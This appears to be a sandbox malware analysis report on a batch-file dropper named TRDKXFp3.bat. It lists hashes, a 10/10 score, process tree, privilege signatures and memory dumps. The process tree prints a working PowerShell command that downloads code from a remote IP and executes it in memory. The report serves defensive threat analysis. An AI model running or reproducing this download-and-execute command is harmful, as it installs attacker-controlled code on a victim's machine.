352f20fc1f8b8354ab0f610f5fdb66c11e24d56ba92f323df35200a0939ba674 | Triage

Analysis

max time kernel
119s
max time network
121s
platform
windows10_x64
resource
win10v200217
submitted
02-04-2020 03:10

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General

Target

TRDKXFp3.bat
Size

197B
MD5

9727c80f12d3336f330b3688e052968e
SHA1

a20e98c967b46f66b2c7ebb51739ea41636b7f79
SHA256

352f20fc1f8b8354ab0f610f5fdb66c11e24d56ba92f323df35200a0939ba674
SHA512

faf8e17c7858c3163621f74dc918b491b591c9f99c9351d904b4653be79148e9495ad07e94f82a56506e132fbb4b256fdd36b1da0659fad778ef36369ee12bd6

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/TRDKXFp3

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3084 3540 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3084 WerFault.exe
Token: SeBackupPrivilege 3084 WerFault.exe
Token: SeDebugPrivilege 3084 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe
3084	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TRDKXFp3.bat"
1⤵
PID:4044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/TRDKXFp3');Invoke-YFVHLQKGBYBAEA;Start-Sleep -s 10000"
2⤵
PID:3540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3540 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3084

Network

MITRE ATT&CK Matrix

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Downloads

memory/3084-0-0x0000000004D40000-0x0000000004D41000-memory.dmp

Filesize
4KB

Download
memory/3084-1-0x00000000054F0000-0x00000000054F1000-memory.dmp

Filesize
4KB

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